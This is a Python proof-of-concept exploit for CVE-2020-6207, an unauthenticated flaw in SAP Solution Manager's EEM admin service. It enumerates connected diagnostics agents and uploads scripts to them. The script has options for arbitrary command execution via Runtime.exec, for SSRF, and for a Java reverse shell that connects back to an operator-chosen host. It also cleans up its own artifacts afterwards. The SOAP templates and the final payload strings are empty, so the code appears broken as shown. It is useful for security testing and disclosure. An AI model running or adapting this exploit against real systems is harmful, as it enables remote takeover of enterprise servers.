#!/usr/bin/env python3
__author__ = 'chipik'
import random
import base64
import requests
import argparse
import xml.etree.ElementTree as ET
from prettytable import PrettyTable
help_desc = '''
PoC for CVE-2020-6207, (Missing Authentication Check in SAP Solution Manager)
This script allows to check and exploit missing authentication checks in SAP EEM servlet (tc~smd~agent~application~eem) that lead to RCE on SAP SMDAgents connected to SAP Solution Manager
Original finding:
- Pablo Artuso. https://twitter.com/lmkalg
- Yvan 'iggy' G https://twitter.com/_1ggy
Paper: https://i.blackhat.com/USA-20/Wednesday/us-20-Artuso-An-Unauthenticated-Journey-To-Root-Pwning-Your-Companys-Enterprise-Software-Servers-wp.pdf
Solution: https://launchpad.support.sap.com/#/notes/2890213
twitter: https://twitter.com/_chipik
'''
eemURL = "/EemAdminService/EemAdmin"
wsdlMethods = {
'getAgentInfo' : '''
''',
'getAllAgentInfo':'''
''',
'setAgeletProperties' : '''
3
''',
'uploadResource':'''
''',
'stopScript':'''
''',
'deleteScript':'''
''',
'setServerName':'''
''',
}
def makeRequest(payload):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6207 PoC",
"Content-Type": "text/xml;charset=UTF-8",
"SOAPAction": ""}
ans = requests.post(base_url + eemURL, headers=headers, proxies=proxies, timeout=timeout,
data=payload,
allow_redirects=False, verify=False)
return ans
def getAllAgentInfo():
customPrint("Sending getAllAgentInfo()...")
root = ET.fromstring(wsdlMethods['getAllAgentInfo'])
payload = ET.tostring(root, encoding='utf8', method='xml')
resp = makeRequest(payload)
return resp
def getAgentInfo(agents):
customPrint(f"Sending getAgentInfo({agents})...")
root = ET.fromstring(wsdlMethods['getAgentInfo'])
root.find('.//agents').text = agents
payload = ET.tostring(root, encoding='utf8', method='xml')
resp = makeRequest(payload)
return resp
def uploadResource(agentName, content, scriptName, fileName = "script.http.xml", scenarioName=f'PoCScenario{(random.randint(1, 10000))}', scope = "Script"):
customPrint(f"Sending uploadResource(). ScriptName:{scriptName}...")
content = base64.b64encode(content.encode('ascii')).decode('ascii')
root = ET.fromstring(wsdlMethods['uploadResource'])
root.find('.//agentName').text = agentName
root.find('.//content').text = content
root.find('.//fileName').text = fileName
root.find('.//scenarioName').text = scenarioName
root.find('.//scope').text = scope
root.find('.//scriptName').text = scriptName
payload = ET.tostring(root, encoding='utf8', method='xml')
resp = makeRequest(payload)
return resp
def setAgeletProperties(agentName, key, value):
customPrint(f"Sending setAgeletProperties({agentName}, {key}, {value})...")
root = ET.fromstring(wsdlMethods['setAgeletProperties'])
root.find('.//agentName').text = agentName
root.find('.//key').text = key
root.find('.//value').text = value
payload = ET.tostring(root, encoding='utf8', method='xml')
resp = makeRequest(payload)
return resp
def stopScript(agentName, scriptName):
customPrint(f"Sending stopScript({agentName},{scriptName})...")
root = ET.fromstring(wsdlMethods['stopScript'])
root.find('.//agentName').text = agentName
root.find('.//scriptName').text = scriptName
payload = ET.tostring(root, encoding='utf8', method='xml')
resp = makeRequest(payload)
return resp
def deleteScript(agentName, scriptName):
customPrint(f"Sending deleteScript({agentName},{scriptName})...")
root = ET.fromstring(wsdlMethods['deleteScript'])
root.find('.//agentName').text = agentName
root.find('.//scriptName').text = scriptName
payload = ET.tostring(root, encoding='utf8', method='xml')
resp = makeRequest(payload)
return resp
def setServerName(hostName, instanceName, newServerName):
customPrint(f"Sending setServerName({hostName},{instanceName},{newServerName})...")
root = ET.fromstring(wsdlMethods['setServerName'])
root.find('.//hostName').text = hostName
root.find('.//instanceName').text = instanceName
root.find('.//newServerName').text = newServerName
payload = ET.tostring(root, encoding='utf8', method='xml')
resp = makeRequest(payload)
return resp
def detect_vuln(base_url):
is_vulnerable = False
status = 'Not Vulnerable!'
ans = getAllAgentInfo()
status_code = ans.status_code
if status_code == 200:
is_vulnerable = True
status = 'Vulnerable! [CVE-2020-6207]'
print("%s - %s" % (status, base_url))
return {"status": is_vulnerable}
def customPrint(prnt):
if args.verbose:
print(f"[INFO] {prnt}")
def getAllAgentsPretty():
# Getting available SMD agents
customPrint("Getting available agents...")
resp = getAllAgentInfo()
if resp.status_code != 200:
print(f"Something wrong with getAllAgentInfo(). Got {resp.status_code} status code")
exit(1)
agentsResp = ET.fromstring(resp.content)
for agent in agentsResp[0][0]:
os_val = agent.find(".//systemProperties/[key='os.name']").find("value").text if agent.find(
".//systemProperties/[key='os.name']") is not None else ""
jvm_val = agent.find(".//systemProperties/[key='java.version']").find("value").text if agent.find(
".//systemProperties/[key='java.version']") is not None else ""
agentVal = {
'serverName': f'{agent.find("serverName").text if agent.find("serverName") is not None else ""}',
'hostName': f'{agent.find("hostName").text}',
'instanceName': f'{agent.find("instanceName").text}',
'status': f'{"up" if agent.find("agentStatus").text == "1" else "stopped"}',
'os': f'{os_val}',
'java': f'{jvm_val}',
}
agents.append(agentVal)
if len(agents):
x = PrettyTable()
x.field_names = ["serverName", "hostName", "instanceName", "status", "OS", "java"]
for agent in agents:
x.add_row(agent.values())
print(x)
return agents
def executeScript(payload, clear = True):
customPrint(f"Executing new script.Payload:\n{payload}")
if not args.victim:
getAllAgentsPretty()
print("If DA doesn't have a serverName you can setup using '--setup' option of that PoC")
args.victim = input("Enter DA serverName:")
else:
print("There is no available DA connected to SAP SM")
exit(1)
# Enable EEM
resp = setAgeletProperties(args.victim, "eem.enable", "True")
if resp.status_code != 200:
print(f"Something wrong with setAgeletProperties(). Got {resp.status_code} status code")
exit(1)
scriptName = f"PoCScript{random.randint(5000, 10000)}"
resp = uploadResource(args.victim, payload, scriptName)
if resp.status_code != 200:
print(f"Something wrong with uploadResource(). Got {resp.status_code} status code")
exit(1)
# Now let's clear the server
## Stop our Script
if clear:
# We can't stop script while backconnect works
resp = stopScript(args.victim, scriptName)
if resp.status_code != 200:
print(f"Something wrong with stopScript(). Got {resp.status_code} status code")
exit(1)
## Delete our script
resp = deleteScript(args.victim, scriptName)
if resp.status_code != 200:
print(f"Something wrong with deleteScript(). Got {resp.status_code} status code")
exit(1)
print("[!] Done")
return
def clearAfter():
if not args.victim:
# Getting available SMD agents
customPrint("Getting available agents...")
resp = getAllAgentInfo()
if resp.status_code != 200:
print(f"Something wrong with getAllAgentInfo(). Got {resp.status_code} status code")
exit(1)
agentsResp = ET.fromstring(resp.content)
for agent in agentsResp[0][0]:
os_val = agent.find(".//systemProperties/[key='os.name']").find("value").text if agent.find(
".//systemProperties/[key='os.name']") is not None else ""
jvm_val = agent.find(".//systemProperties/[key='java.version']").find("value").text if agent.find(
".//systemProperties/[key='java.version']") is not None else ""
agentVal = {
'serverName': f'{agent.find("serverName").text if agent.find("serverName") is not None else ""}',
'hostName': f'{agent.find("hostName").text}',
'instanceName': f'{agent.find("instanceName").text}',
'status': f'{"up" if agent.find("agentStatus").text == "1" else "stopped"}',
'os': f'{os_val}',
'java': f'{jvm_val}',
}
agents.append(agentVal)
if len(agents):
x = PrettyTable()
x.field_names = ["serverName", "hostName", "instanceName", "status", "OS", "java"]
for agent in agents:
x.add_row(agent.values())
print(x)
args.victim = input("Enter DA serverName:")
else:
print("There is no available DA connected to SAP SM")
exit(1)
resp = getAgentInfo(args.victim)
if resp.status_code != 200:
print(f"Something wrong with getAgentInfo(). Got {resp.status_code} status code")
exit(1)
agentsResp = ET.fromstring(resp.content)
ourScript = []
for our in agentsResp[0][0].findall(".//agentProperties/key"):
if "eem/Script/PoCScript" in our.text:
ourScript.append(our.text.split('/')[2])
if not len(ourScript):
print("Nothing to clear")
exit(1)
else:
print(f"Found these artifacts: {', '.join(ourScript)}")
print("Deleting...")
for script in ourScript:
resp = stopScript(args.victim, script)
if resp.status_code != 200:
print(f"Something wrong with stopScript({args.victim}, {script}). Got {resp.status_code} status code")
exit(1)
resp = deleteScript(args.victim, script)
if resp.status_code != 200:
print(f"Something wrong with stopScript({args.victim}, {script}). Got {resp.status_code} status code")
exit(1)
print("Done!")
if __name__ == '__main__':
parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument('-H', '--host', default='127.0.0.1', help='SAP Solution Manager host(default: 127.0.0.1)')
parser.add_argument('-P', '--port', default=50000, type=int, help='SAP Solution Manager web port (default: tcp/50000)')
parser.add_argument('-p', '--proxy', help='Use proxy (ex: 127.0.0.1:8080)')
parser.add_argument('-s', '--ssl', action='store_true', help='enable SSL')
parser.add_argument('-c', '--check', action='store_true', help='just detect vulnerability')
parser.add_argument('-d', '--victim', help='DA serverName')
parser.add_argument('--ssrf', help='exploit SSRF. Point http address here. (example:http://1.1.1.1/chpk)')
parser.add_argument('--rce', help='exploit RCE')
parser.add_argument('--back', help='get backConnect from DA. (ex: 1.1.1.1:1337)')
parser.add_argument('--setup', help='setup a random serverName to the DA with the given hostName and instanceName. (example: javaup.mshome.net,SMDA97)')
parser.add_argument('--list', action='store_true', help='Get a list of existing DA servers')
parser.add_argument('--clear', action='store_true', help='stop and delete all PoCScript scripts from DA servers')
parser.add_argument('-t', '--timeout', default=10, type=int, help='HTTP connection timeout in second (default: 10)')
parser.add_argument('-v', '--verbose', action='store_true', help='verbose mode')
args = parser.parse_args()
timeout = args.timeout
proxies = {}
verify = True
agents = []
if args.proxy:
verify = False
proxies = {
'http': args.proxy,
'https': args.proxy,
}
if args.ssl:
base_url = "https://%s:%s" % (args.host, args.port)
else:
base_url = "http://%s:%s" % (args.host, args.port)
if args.check:
detect_vuln(base_url)
exit()
if args.ssrf:
# Prepare ssrf payload
customPrint(f"Will send SSRF on {args.ssrf}")
payload = f''
executeScript(payload)
if args.rce:
# Prepare RCE payload
customPrint(f"Will trigger {args.rce}")
pload = f"Packages.java.lang.Runtime.getRuntime().exec('{args.rce}').waitFor();"
payload = f''
executeScript(payload)
if args.back:
# Prepare back connect
customPrint(f"Let's get backConnect to {args.back}")
osType = input("What is the DA OS (win/nix)?:")
if osType == "win":
shell = "cmd.exe"
else:
shell = "/bin/bash"
bip = args.back.split(':')[0]
bport = int(args.back.split(':')[1])
print(f"Run 'netcat -l -p {bport}' on {bip}")
pload = f"var p = new Packages.java.lang.ProcessBuilder('{shell}').redirectErrorStream(true).start();var s= new Packages.java.net.Socket('{bip}',{bport});var pi=new Packages.java.io.BufferedInputStream(p.getInputStream());var pe= new Packages.java.io.BufferedInputStream(p.getErrorStream());var si= new Packages.java.io.BufferedInputStream(s.getInputStream());var po= new Packages.java.io.BufferedOutputStream(p.getOutputStream());var so= new Packages.java.io.BufferedOutputStream(s.getOutputStream());while(!s.isClosed()){{while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Packages.java.lang.Thread.sleep(50);}};p.destroy();s.close();"
payload = f''
print("Don't forget to stop and delete script!")
executeScript(payload, False)
if args.clear:
customPrint(f"Let's clear the server...")
clearAfter()
if args.setup:
customPrint(f"Setting up a serverName for the {args.setup}")
if len(args.setup.split(',')) !=2:
print("Wrong '--setup' options. Please specify target like this: 'javaup.mshome.net,SMDA97' or enter values below")
getAllAgentsPretty()
hostName = input("hostName:")
instanceName = input("instanceName:")
else:
hostName = args.setup.split(',')[0]
instanceName = args.setup.split(',')[1]
newServerName = f"PoCName{(random.randint(1, 10000))}"
print(f"Setup new serverName {newServerName} for {hostName}")
resp = setServerName(hostName, instanceName, newServerName)
if resp.status_code != 200:
print(f"Something wrong with setServerName({hostName}, {instanceName}, {newServerName}). Got {resp.status_code} status code")
exit(1)
if args.list:
getAllAgentsPretty()